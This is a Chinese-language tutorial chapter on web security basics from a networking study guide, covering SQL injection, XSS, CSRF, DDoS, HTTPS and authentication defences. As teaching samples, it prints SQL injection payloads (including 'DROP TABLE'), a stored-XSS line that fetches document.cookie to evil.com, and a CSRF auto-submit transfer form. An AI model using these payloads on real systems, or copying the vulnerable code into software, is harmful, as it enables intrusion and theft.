计算机网络学习指南计算机网络学习指南
首页
基础教程
进阶内容
实战案例
编程指南
首页
基础教程
进阶内容
实战案例
编程指南
  • 进阶内容

    • 🚀 进阶内容
    • 🎯 学习目标
    • 🚀 学习路线
    • 📊 章节概览
  • 💡 学习建议
  • 🎓 学完之后
  • 第1章 - TCP 三次握手与四次挥手
  • 第2章 - 负载均衡原理
  • 第3章 - CDN 内容分发网络
  • 第4章 - VPN 与代理
  • 第5章 - 网络安全基础

第5章 - 网络安全基础

嗨,朋友!

在互联网时代,网络安全已经成为每个开发者都必须关注的话题。不论你是前端、后端还是运维,都可能面临各种网络安全威胁。一次安全漏洞可能导致数据泄露、服务瘫痪,甚至法律责任。

今天我们来学习最常见的网络攻击和防御措施,让你的应用更加安全可靠。这些知识在实际工作中非常实用,也是面试的高频考点。

🤔 为什么要关注网络安全?

真实案例

案例1: SQL注入导致数据泄露 💔

某电商网站因SQL注入漏洞,
1000万用户数据被窃取,
包括姓名、手机号、地址...
损失: 赔偿金 + 罚款 + 信誉 = 数千万

案例2: DDoS攻击导致服务瘫痪 💥

某游戏公司遭受DDoS攻击,
服务器被打垮,游戏无法登录,
持续3小时,影响百万玩家,
直接经济损失数百万。

案例3: XSS攻击窃取用户信息 🎣

某社交网站存在XSS漏洞,
黑客注入恶意脚本,
窃取用户Cookie和Token,
导致账号被盗。

安全的重要性

安全第一

安全是底线,功能可以慢慢完善,但安全问题一旦出现,后果不堪设想:

  • 💰 经济损失:赔偿、罚款、业务损失
  • 📉 信誉损失:用户流失、品牌受损
  • ⚖️ 法律责任:违反数据保护法可能被起诉
  • 😰 心理压力:开发者、公司承受巨大压力

⚔️ 常见网络攻击

1. SQL注入 (SQL Injection)

原理:攻击者在输入中注入SQL代码,改变查询逻辑。

不安全的代码:

// ❌ 危险!直接拼接SQL
const username = req.body.username;  // 用户输入: admin' OR '1'='1
const password = req.body.password;  // 用户输入: anything

const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
// 实际执行的SQL:
// SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
// '1'='1' 永远为真,绕过密码验证! 💀

db.query(sql, (err, result) => {
  if (result.length > 0) {
    // 登录成功! (但实际是被攻击了)
  }
});

攻击示例:

-- 删除整个表
username: admin'; DROP TABLE users; --

-- 获取所有用户
username: ' OR '1'='1' --

-- 获取管理员权限
username: admin' OR role='admin' --

安全的代码 ✅:

// ✅ 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
  // 参数会被正确转义,SQL注入无效
});

// ✅ 使用ORM(如Sequelize)
const user = await User.findOne({
  where: {
    username: username,
    password: password
  }
});

// ✅ 使用prepared statement
const stmt = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?');
const result = stmt.get(username, password);

2. 跨站脚本攻击 (XSS - Cross-Site Scripting)

原理:攻击者注入恶意JavaScript代码到网页,在其他用户浏览时执行。

XSS类型:

反射型XSS

<!-- 不安全的代码 -->
<div>
  搜索结果: <%= searchQuery %>  <!-- 直接输出用户输入 ❌ -->
</div>

<!-- 攻击者构造URL -->
https://example.com/search?q=<script>alert(document.cookie)</script>

<!-- 渲染结果 -->
<div>
  搜索结果: <script>alert(document.cookie)</script>  <!-- 脚本会执行! 💀 -->
</div>

存储型XSS

// 用户发表评论
comment: '<script>fetch("https://evil.com?cookie="+document.cookie)</script>'

// 存储到数据库
db.save({ content: comment });  // ❌ 直接存储

// 其他用户浏览评论时,脚本会执行,Cookie被窃取! 💀

防御措施 ✅:

// 1. 转义HTML特殊字符
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

const safeOutput = escapeHtml(userInput);

// 2. 使用React/Vue(自动转义)
// React
<div>{userInput}</div>  // ✅ 自动转义

// Vue
<div>{{ userInput }}</div>  // ✅ 自动转义

// 3. 设置Content Security Policy (CSP)
res.setHeader(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self'"
);

// 4. 使用HTTP-only Cookie
res.cookie('session', token, {
  httpOnly: true,  // JavaScript无法读取
  secure: true,    // 只在HTTPS下传输
  sameSite: 'strict'
});

3. 跨站请求伪造 (CSRF - Cross-Site Request Forgery)

原理:攻击者诱导用户访问恶意网站,利用用户的登录状态发起非法请求。

攻击场景:

<!-- 用户已登录 bank.com -->
<!-- 攻击者构造恶意页面 evil.com -->
<!DOCTYPE html>
<html>
<body>
  <!-- 隐藏的表单,自动提交 -->
  <form action="https://bank.com/transfer" method="POST" id="hack">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
  </form>
  
  <script>
    document.getElementById('hack').submit();  // 自动提交
  </script>
  
  <!-- 或使用img标签 -->
  <img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">
</body>
</html>

<!-- 用户访问evil.com,钱就被转走了! 💀 -->

防御措施 ✅:

// 1. 使用CSRF Token
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  // 生成CSRF Token
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // 验证CSRF Token
  // 如果token无效,自动返回403
  processTransfer(req.body);
});

// 前端表单
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <input name="to" placeholder="收款人">
  <input name="amount" placeholder="金额">
  <button>转账</button>
</form>

// 2. 验证Referer
app.post('/transfer', (req, res) => {
  const referer = req.get('Referer');
  if (!referer || !referer.startsWith('https://bank.com')) {
    return res.status(403).send('Forbidden');
  }
  // 继续处理
});

// 3. 设置SameSite Cookie
res.cookie('session', token, {
  sameSite: 'strict',  // 严格模式,完全禁止第三方Cookie
  // 或 sameSite: 'lax'  // 宽松模式,允许安全的跨站请求
});

// 4. 双重Cookie验证
app.post('/transfer', (req, res) => {
  const cookieToken = req.cookies.csrfToken;
  const bodyToken = req.body.csrfToken;
  
  if (cookieToken !== bodyToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 继续处理
});

4. DDoS攻击 (Distributed Denial of Service)

原理:通过大量请求耗尽服务器资源,导致正常用户无法访问。

攻击类型:

1. SYN Flood (TCP三次握手攻击)
   攻击者发送大量SYN包,不回应ACK
   服务器半连接队列被占满
   
2. HTTP Flood (应用层攻击)
   发送大量看似正常的HTTP请求
   消耗服务器CPU和带宽
   
3. DNS放大攻击
   利用DNS服务器放大流量
   小请求→大响应→淹没目标

防御措施 ✅:

// 1. 限流 (Rate Limiting)
const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15分钟
  max: 100,  // 最多100个请求
  message: '请求过于频繁,请稍后再试'
});

app.use('/api/', limiter);

// 2. IP黑名单
const blockedIPs = new Set(['1.2.3.4', '5.6.7.8']);

app.use((req, res, next) => {
  const clientIP = req.ip;
  if (blockedIPs.has(clientIP)) {
    return res.status(403).send('Forbidden');
  }
  next();
});

// 3. 验证码
app.post('/api/login', async (req, res) => {
  // 验证Google reCAPTCHA
  const captchaValid = await verifyCaptcha(req.body.captcha);
  if (!captchaValid) {
    return res.status(400).send('验证码错误');
  }
  // 继续登录逻辑
});

系统级防御:

# Linux - 防御SYN Flood
sudo sysctl -w net.ipv4.tcp_syncookies=1
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=4096

# 使用防火墙
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP

# 使用CDN和DDoS防护服务
# - Cloudflare
# - AWS Shield
# - 阿里云DDoS防护

🔐 HTTPS加密原理

HTTP vs HTTPS

HTTP的问题:

客户端 ──明文数据→ 中间人(可以窃听和篡改) ──→ 服务器
       ←明文数据── 中间人(可以窃听和篡改) ←─── 服务器
       
危险:
- 密码被窃取 💀
- 数据被篡改 💀
- 无法确认服务器真实性 💀

HTTPS的解决:

客户端 ──加密数据→ 中间人(无法解密) ──→ 服务器
       ←加密数据── 中间人(无法解密) ←─── 服务器
       
安全:
- 数据加密传输 ✅
- 数据完整性验证 ✅
- 服务器身份认证 ✅

HTTPS握手过程

第1步: 客户端 Hello
客户端 → 服务器: 支持的加密算法列表

第2步: 服务器 Hello
服务器 → 客户端: 
  - 选择的加密算法
  - 服务器证书(包含公钥)

第3步: 验证证书
客户端:
  - 验证证书是否由可信CA签发
  - 验证证书是否过期
  - 验证证书域名是否匹配

第4步: 生成密钥
客户端:
  - 生成随机数(预主密钥)
  - 用服务器公钥加密
  - 发送给服务器

第5步: 服务器解密
服务器:
  - 用私钥解密,得到预主密钥
  - 双方都有了预主密钥

第6步: 生成会话密钥
客户端和服务器:
  - 用预主密钥生成对称加密密钥
  - 后续通信使用对称加密(快速)

第7步: 加密通信
客户端 ⇄ 服务器: 使用会话密钥加密数据

Node.js配置HTTPS

const https = require('https');
const fs = require('fs');

// 读取SSL证书
const options = {
  key: fs.readFileSync('private-key.pem'),      // 私钥
  cert: fs.readFileSync('certificate.pem'),     // 证书
  // ca: fs.readFileSync('ca-certificate.pem')  // CA证书(可选)
};

// 创建HTTPS服务器
const server = https.createServer(options, (req, res) => {
  res.writeHead(200);
  res.end('Hello HTTPS!');
});

server.listen(443, () => {
  console.log('HTTPS服务器运行在 https://localhost:443');
});

Nginx配置HTTPS

server {
    listen 443 ssl http2;
    server_name example.com;
    
    # SSL证书配置
    ssl_certificate /path/to/certificate.pem;
    ssl_certificate_key /path/to/private-key.pem;
    
    # SSL优化配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;
    ssl_prefer_server_ciphers on;
    
    # 启用HSTS(强制HTTPS)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    
    location / {
        proxy_pass http://backend:3000;
    }
}

# HTTP自动跳转HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$host$request_uri;
}

获取免费SSL证书

Let's Encrypt (免费、自动化):

# 安装Certbot
sudo apt-get install certbot python3-certbot-nginx

# 自动配置Nginx
sudo certbot --nginx -d example.com -d www.example.com

# 手动获取证书
sudo certbot certonly --standalone -d example.com

# 自动续期(证书有效期90天)
sudo certbot renew

# 设置自动续期任务
sudo crontab -e
# 添加:
0 0 * * 0 certbot renew --quiet

🔑 认证与授权

常见认证方式

1. Session-Cookie认证

// 登录接口
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // 验证用户名密码
  const user = verifyUser(username, password);
  if (!user) {
    return res.status(401).send('用户名或密码错误');
  }
  
  // 创建Session
  req.session.userId = user.id;
  req.session.username = user.username;
  
  // 返回成功(Session ID会自动设置到Cookie)
  res.json({ message: '登录成功', user });
});

// 受保护的接口
app.get('/profile', (req, res) => {
  // 检查Session
  if (!req.session.userId) {
    return res.status(401).send('未登录');
  }
  
  // 返回用户信息
  const user = getUserById(req.session.userId);
  res.json(user);
});

// 登出接口
app.post('/logout', (req, res) => {
  req.session.destroy();
  res.json({ message: '登出成功' });
});

2. JWT (JSON Web Token)

const jwt = require('jsonwebtoken');
const SECRET_KEY = 'your-secret-key';

// 登录接口
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  const user = verifyUser(username, password);
  if (!user) {
    return res.status(401).send('用户名或密码错误');
  }
  
  // 生成JWT
  const token = jwt.sign(
    { userId: user.id, username: user.username },
    SECRET_KEY,
    { expiresIn: '1h' }  // 1小时过期
  );
  
  res.json({ token });
});

// 认证中间件
function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1];  // Bearer TOKEN
  
  if (!token) {
    return res.status(401).send('未提供Token');
  }
  
  jwt.verify(token, SECRET_KEY, (err, user) => {
    if (err) {
      return res.status(403).send('Token无效或已过期');
    }
    req.user = user;
    next();
  });
}

// 受保护的接口
app.get('/profile', authenticateToken, (req, res) => {
  const user = getUserById(req.user.userId);
  res.json(user);
});

前端使用JWT:

// 登录后保存Token
const response = await fetch('/login', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ username, password })
});

const { token } = await response.json();
localStorage.setItem('token', token);

// 后续请求携带Token
const profileResponse = await fetch('/profile', {
  headers: {
    'Authorization': `Bearer ${localStorage.getItem('token')}`
  }
});

Session vs JWT

对比项Session-CookieJWT
存储位置服务器(Session存储)客户端(LocalStorage/Cookie)
可扩展性差(需要Session共享)好(无状态)
安全性较高(服务器控制)较低(客户端可见)
性能需要查询Session存储无需查询,快速验证
注销简单(删除Session)复杂(需要黑名单)
适用场景传统Web应用分布式系统、API

🛡️ 安全最佳实践

1. 输入验证

const validator = require('validator');

app.post('/register', (req, res) => {
  const { email, password, age } = req.body;
  
  // 验证邮箱
  if (!validator.isEmail(email)) {
    return res.status(400).send('邮箱格式不正确');
  }
  
  // 验证密码强度
  if (!validator.isStrongPassword(password, {
    minLength: 8,
    minLowercase: 1,
    minUppercase: 1,
    minNumbers: 1,
    minSymbols: 1
  })) {
    return res.status(400).send('密码强度不够');
  }
  
  // 验证年龄
  if (!validator.isInt(String(age), { min: 18, max: 120 })) {
    return res.status(400).send('年龄必须在18-120之间');
  }
  
  // 继续注册逻辑
});

2. 密码加密

const bcrypt = require('bcrypt');

// 注册时加密密码
app.post('/register', async (req, res) => {
  const { username, password } = req.body;
  
  // 加盐加密(10轮)
  const hashedPassword = await bcrypt.hash(password, 10);
  
  // 存储到数据库
  await db.save({
    username,
    password: hashedPassword  // 存储加密后的密码
  });
  
  res.json({ message: '注册成功' });
});

// 登录时验证密码
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  const user = await db.findOne({ username });
  if (!user) {
    return res.status(401).send('用户不存在');
  }
  
  // 比对密码
  const isValid = await bcrypt.compare(password, user.password);
  if (!isValid) {
    return res.status(401).send('密码错误');
  }
  
  // 登录成功
  res.json({ message: '登录成功' });
});

3. 安全响应头

const helmet = require('helmet');

// 使用helmet设置多种安全响应头
app.use(helmet());

// 或手动设置
app.use((req, res, next) => {
  // 防止点击劫持
  res.setHeader('X-Frame-Options', 'DENY');
  
  // XSS保护
  res.setHeader('X-XSS-Protection', '1; mode=block');
  
  // 禁止嗅探MIME类型
  res.setHeader('X-Content-Type-Options', 'nosniff');
  
  // CSP
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' 'unsafe-inline'"
  );
  
  // HSTS(强制HTTPS)
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains'
  );
  
  next();
});

4. 日志和监控

const winston = require('winston');

// 配置日志
const logger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'combined.log' })
  ]
});

// 记录安全事件
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  const user = verifyUser(username, password);
  if (!user) {
    // 记录失败的登录尝试
    logger.warn('登录失败', {
      username,
      ip: req.ip,
      userAgent: req.get('User-Agent'),
      timestamp: new Date()
    });
    return res.status(401).send('登录失败');
  }
  
  // 记录成功的登录
  logger.info('登录成功', {
    userId: user.id,
    username: user.username,
    ip: req.ip
  });
  
  res.json({ message: '登录成功' });
});

// 监控异常登录
app.use((err, req, res, next) => {
  logger.error('服务器错误', {
    error: err.message,
    stack: err.stack,
    url: req.url,
    method: req.method,
    ip: req.ip
  });
  
  res.status(500).send('服务器错误');
});

🔍 安全检查清单

开发阶段 ✅

  • [ ] 使用参数化查询,防止SQL注入
  • [ ] 转义所有用户输入,防止XSS
  • [ ] 实现CSRF防护
  • [ ] 使用HTTPS加密传输
  • [ ] 密码使用bcrypt加密存储
  • [ ] 实现合理的认证授权机制
  • [ ] 输入验证(邮箱、密码强度等)
  • [ ] 设置安全响应头
  • [ ] 实现限流防止暴力破解
  • [ ] 敏感数据不要暴露在前端

部署阶段 ✅

  • [ ] 使用最新版本的依赖
  • [ ] 定期更新安全补丁
  • [ ] 配置防火墙
  • [ ] 关闭不必要的端口和服务
  • [ ] 使用环境变量存储敏感配置
  • [ ] 配置日志和监控
  • [ ] 备份数据
  • [ ] 制定应急响应计划

持续监控 ✅

  • [ ] 监控异常登录行为
  • [ ] 监控服务器资源使用
  • [ ] 定期审计代码
  • [ ] 定期渗透测试
  • [ ] 关注安全公告

💡 学习建议

1. 安全意识第一 🧠

永远不要信任用户输入:

  • 所有输入都可能是恶意的
  • 验证、过滤、转义一个都不能少

2. 学习常见漏洞 📚

OWASP Top 10 (最常见的Web安全风险):

  1. 注入攻击(SQL注入、命令注入)
  2. 失效的身份认证
  3. 敏感数据泄露
  4. XML外部实体(XXE)
  5. 失效的访问控制
  6. 安全配置错误
  7. XSS
  8. 不安全的反序列化
  9. 使用含有已知漏洞的组件
  10. 日志和监控不足

3. 实践为主 💻

  • 尝试攻击自己的应用(在合法环境)
  • 使用安全扫描工具
  • 参与CTF比赛

📝 练习题

基础题

  1. SQL注入是什么?如何防御?
点击查看答案

SQL注入:攻击者在输入中注入SQL代码,改变查询逻辑。

防御方法:

  1. 使用参数化查询(最重要):

    // ✅ 正确
    db.query('SELECT * FROM users WHERE id = ?', [userId]);
    
    // ❌ 错误
    db.query(`SELECT * FROM users WHERE id = ${userId}`);
    
  2. 使用ORM:Sequelize、TypeORM等会自动防止SQL注入

  3. 输入验证:验证输入格式,过滤特殊字符

  4. 最小权限原则:数据库用户只给必要的权限

  5. 错误信息不要暴露SQL:避免将详细的SQL错误返回给用户

  1. XSS攻击有哪几种类型?如何防御?
点击查看答案

XSS类型:

  1. 反射型XSS:恶意脚本通过URL参数注入,立即执行

    • 例:?search=<script>alert(1)</script>
  2. 存储型XSS:恶意脚本存储到数据库,其他用户访问时执行

    • 例:评论中注入脚本
  3. DOM型XSS:通过修改DOM执行脚本

    • 例:location.hash = '<script>alert(1)</script>'

防御方法:

  1. 转义HTML特殊字符:

    function escapeHtml(text) {
      return text.replace(/[&<>"']/g, m => ({
        '&': '&amp;', '<': '&lt;', '>': '&gt;',
        '"': '&quot;', "'": '&#039;'
      })[m]);
    }
    
  2. 使用框架的自动转义:React、Vue自动转义

  3. Content Security Policy (CSP):

    res.setHeader('Content-Security-Policy', "script-src 'self'");
    
  4. HttpOnly Cookie:防止JavaScript读取Cookie

进阶题

  1. 实现一个完整的登录系统,包含CSRF防护、密码加密、JWT认证。
点击查看答案
const express = require('express');
const bcrypt = require('bcrypt');
const jwt = require('jsonwebtoken');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

const app = express();
app.use(express.json());
app.use(cookieParser());

const SECRET_KEY = 'your-secret-key';
const csrfProtection = csrf({ cookie: true });

// 注册
app.post('/register', async (req, res) => {
  const { username, password } = req.body;
  
  // 密码加密
  const hashedPassword = await bcrypt.hash(password, 10);
  
  // 保存到数据库(简化)
  users.set(username, {
    username,
    password: hashedPassword
  });
  
  res.json({ message: '注册成功' });
});

// 登录页面(获取CSRF Token)
app.get('/login', csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// 登录
app.post('/login', csrfProtection, async (req, res) => {
  const { username, password } = req.body;
  
  // 查找用户
  const user = users.get(username);
  if (!user) {
    return res.status(401).json({ error: '用户不存在' });
  }
  
  // 验证密码
  const isValid = await bcrypt.compare(password, user.password);
  if (!isValid) {
    return res.status(401).json({ error: '密码错误' });
  }
  
  // 生成JWT
  const token = jwt.sign(
    { username: user.username },
    SECRET_KEY,
    { expiresIn: '1h' }
  );
  
  res.json({ token });
});

// 认证中间件
function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1];
  
  if (!token) {
    return res.status(401).json({ error: '未提供Token' });
  }
  
  jwt.verify(token, SECRET_KEY, (err, user) => {
    if (err) {
      return res.status(403).json({ error: 'Token无效' });
    }
    req.user = user;
    next();
  });
}

// 受保护的路由
app.get('/profile', authenticateToken, (req, res) => {
  res.json({ username: req.user.username });
});

app.listen(3000);
  1. 如何防御DDoS攻击?列举至少5种方法。
点击查看答案

DDoS防御方法:

  1. 限流(Rate Limiting):

    const rateLimit = require('express-rate-limit');
    app.use(rateLimit({
      windowMs: 15 * 60 * 1000,
      max: 100
    }));
    
  2. 使用CDN:

    • Cloudflare、AWS CloudFront
    • 分散流量到全球节点
  3. 启用SYN Cookie:

    sudo sysctl -w net.ipv4.tcp_syncookies=1
    
  4. 增加带宽:

    • 使用弹性带宽
    • 准备应急带宽
  5. IP黑名单/白名单:

    const blockedIPs = new Set(['1.2.3.4']);
    app.use((req, res, next) => {
      if (blockedIPs.has(req.ip)) {
        return res.status(403).send('Forbidden');
      }
      next();
    });
    
  6. 验证码:

    • 对可疑请求要求验证码
    • 防止自动化攻击
  7. DDoS防护服务:

    • AWS Shield
    • 阿里云DDoS防护
    • 腾讯云DDoS防护
  8. 监控和报警:

    • 实时监控流量
    • 异常流量自动报警
  9. 负载均衡:

    • 分散请求到多台服务器
    • 单台被攻击不影响全局
  10. Web应用防火墙(WAF):

    • 过滤恶意请求
    • 识别攻击模式

🎓 下一步学习

恭喜你!现在你已经掌握了网络安全的基础知识。

建议继续学习:

  • 实战案例 - 网络问题排查 - 实际安全问题的诊断和处理
  • 第1章 - TCP三次握手与四次挥手 - SYN攻击的深入理解
  • OWASP官方文档 - 深入学习Web安全

推荐资源:

  • OWASP Top 10
  • 《Web安全深度剖析》
  • HackerOne、BugBounty平台练习
  • CTF竞赛

安全学习路线:

  1. 理解常见攻击原理
  2. 学习防御技术
  3. 实践安全编码
  4. 参与安全测试
  5. 持续关注安全动态

关键概念回顾:

  • ✅ SQL注入通过参数化查询防御
  • ✅ XSS通过转义HTML和CSP防御
  • ✅ CSRF通过Token和SameSite Cookie防御
  • ✅ DDoS通过限流、CDN、防护服务防御
  • ✅ HTTPS通过SSL/TLS加密保护数据传输
  • ✅ 密码必须使用bcrypt等算法加密存储
  • ✅ 安全是持续的过程,需要不断学习和更新

返回进阶内容 | 开始实战案例

最近更新: 2025/12/27 10:13
Contributors: 王长安
Prev
第4章 - VPN 与代理